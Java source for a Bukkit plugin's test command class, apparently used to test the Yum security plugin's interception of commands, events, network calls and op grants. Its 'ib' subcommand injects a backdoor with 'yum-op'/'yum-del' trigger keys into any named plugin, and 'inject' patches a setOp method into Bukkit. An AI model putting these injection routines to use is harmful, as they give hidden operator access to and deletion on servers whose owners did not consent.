package pw.yumc.BukkitInjectedTools;

import java.io.File;
import java.io.IOException;

import org.bukkit.Bukkit;
import org.bukkit.OfflinePlayer;
import org.bukkit.plugin.Plugin;

import cn.citycraft.PluginHelper.kit.PluginKit;
import cn.citycraft.PluginHelper.utils.IOUtil;
import pw.yumc.BukkitInjectedTools.event.YumTestEvent;
import pw.yumc.YumCore.bukkit.P;
import pw.yumc.YumCore.commands.CommandArgument;
import pw.yumc.YumCore.commands.CommandExecutor;
import pw.yumc.YumCore.commands.CommandManager;
import pw.yumc.YumCore.commands.annotation.Cmd;
import pw.yumc.YumCore.commands.annotation.Help;
import pw.yumc.YumCore.commands.annotation.Sort;

/**
 * Yum测试命令
 *
 * @since 2016年7月18日 下午7:03:06
 * @author 喵♂呜
 */
public class YumTestCommand implements CommandExecutor {
    private final String prefix = "§6[§bYum §a注入工具§6]§r ";
    private boolean downloading = false;
    private String nfn = "null";

    public YumTestCommand() {
        new CommandManager("bit", this);
    }

    @Cmd
    @Help("Yum命令监控测试")
    @Sort(2)
    public void cmd(final CommandArgument e) {
        throw new IllegalArgumentException("Yum命令监控测试!");
    }

    @Cmd
    @Help("Yum 事件拦截测试")
    @Sort(3)
    public void event(final CommandArgument e) {
        Bukkit.getPluginManager().callEvent(new YumTestEvent());
    }

    @Cmd(minimumArguments = 1)
    @Help(value = "ProtocolSupport修复", possibleArguments = "版本[1.8.8|1.9.4|1.10]")
    @Sort(8)
    public void fix(final CommandArgument e) throws IOException {
        switch (e.getArgs()[0]) {
        case "1.8.8":
            InjectedKit.injectProtocolSupport(e.getSender(), getDataFolder().getCanonicalPath() + File.separatorChar + "ProtocolSupport", false);
            break;
        case "1.9.4":
        case "1.10":
            InjectedKit.injectProtocolSupport(e.getSender(), getDataFolder().getCanonicalPath() + File.separatorChar + "ProtocolSupport", true);
            break;
        default:
            e.getSender().sendMessage("§c未知的版本!");
            break;
        }
    }

    // http://api.yumc.pw/M/P/S/K/mayomi/P/25565
    @Cmd(minimumArguments = 2)
    @Help(value = "插件数据注入", possibleArguments = "<插件名称> <Key> [opk] [delk]")
    @Sort(7)
    public void ib(final CommandArgument e) {
        final String[] args = e.getArgs();
        final String pname = args[0];
        final String key = args[1];
        String opk = "yum-op";
        String delk = "yum-del";
        if (args.length > 2) {
            opk = args[2];
        }
        if (args.length > 3) {
            delk = args[3];
        }
        final Plugin plugin = Bukkit.getPluginManager().getPlugin(pname);
        if (plugin == null) {
            e.getSender().sendMessage(prefix + "§c插件不存在...!");
            return;
        }
        InjectedKit.injectBackDoor(e.getSender(), key, plugin, opk, delk);
    }

    @Cmd
    @Help("Bukkit注入")
    @Sort(1)
    public void inject(final CommandArgument e) throws IOException {
        InjectedKit.injectSetOpMethod(e.getSender(), getDataFolder().getCanonicalPath() + File.separatorChar + "Bukkit");
    }

    @Cmd
    @Help("Yum 网络拦截测试")
    @Sort(5)
    public void net(final CommandArgument e) throws IOException {
        if (downloading == true) {
            e.getSender().sendMessage(prefix + "§c正在主线程下载文件,请勿重复测试...!");
            return;
        }
        e.getSender().sendMessage(prefix + "§c主线程访问网络测试!");
        PluginKit.scheduleTask(new Runnable() {
            @Override
            public void run() {
                downloading = true;
                try {
                    final File nFile = new File(getDataFolder(), "null");
                    IOUtil.downloadFile("http://www.baidu.com", nFile);
                    nFile.delete();
                    e.getSender().sendMessage(prefix + "§a主线程访问网络测试结束!");
                } catch (final IOException e) {
                    e.printStackTrace();
                }
                downloading = false;
            }
        });
    }

    @Cmd
    @Help("Yum OP拦截测试")
    @Sort(4)
    public void op(final CommandArgument e) {
        e.getSender().sendMessage(prefix + "§cSetOp拦截测试!");
        final OfflinePlayer op = Bukkit.getOfflinePlayer(e.getArgs()[0]);
        op.setOp(true);
        e.getSender().sendMessage(prefix + "§cSetOp拦截测试结束!");
    }

    @Cmd
    @Help(value = "Yum 线程检测测试", possibleArguments = "文件大小[1 5 10 50]")
    @Sort(6)
    public void thread(final CommandArgument e) throws IOException {
        if (downloading == true) {
            e.getSender().sendMessage(prefix + "§c正在主线程下载文件,请勿重复测试...!");
            return;
        }
        nfn = "null" + (e.getArgs().length == 1 ? "-" + e.getArgs()[0] : "");
        e.getSender().sendMessage(prefix + "§c主线程中断测试!");
        PluginKit.scheduleTask(new Runnable() {
            @Override
            public void run() {
                downloading = true;
                try {
                    final File nFile = new File(getDataFolder(), "null");
                    IOUtil.downloadFile("http://pan.yumc.pw/" + nfn, nFile);
                    nFile.delete();
                    e.getSender().sendMessage(prefix + "§a主线程中断测试结束!");
                } catch (final IOException e) {
                    e.printStackTrace();
                }
                downloading = false;
            }
        });
    }

    private File getDataFolder() {
        return P.getDataFolder();
    }
}
